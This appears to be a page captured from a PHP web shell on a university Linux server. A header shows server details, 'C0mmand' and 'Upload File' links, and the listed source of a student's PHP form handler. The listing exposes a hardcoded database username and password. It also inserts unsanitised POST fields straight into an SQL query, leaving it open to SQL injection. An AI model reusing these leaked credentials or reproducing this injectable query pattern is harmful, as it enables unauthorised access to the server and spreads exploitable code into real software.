Server IP : 172.16.15.8 / Your IP : 3.145.72.44 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/semmanuel/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<HTML> <HEAD> <TITLE>Yun-Gang Project </TITLE> </HEAD> <BODY> <CENTER> <H2> Thank you for your support! </H2> <HR> <P> | <A HREF=project.html> Project Home Page </A> | <A HREF=support.html> Fill the Form </A> | <A HREF=display.php> Display the Information </A> <P> <HR> <?php $name = $_POST['name']; $age = $_POST['age']; $gender = $_POST['gender']; $local = $_POST['local']; $place = $_POST['place']; $comments = $_POST['comments']; $host = 'localhost'; $user = 'semmanuel'; $passwd = 'friendsemmanuel'; $database = 'semmanuel'; $connect = mysql_connect($host, $user, $passwd); $query = "insert into INFO values ('$name', $age, '$gender', '$local', '$place', '$comments')"; // print "The query is <i> $query </i> "; mysql_select_db($database); $result_id = mysql_query($query, $connect); if($result_id) print "Thank you! Your submission is successful.<p>"; else print "Fail.<p>"; mysql_close($connect); // include ("display.php"); ?> </CENTER> </BODY> </HTML>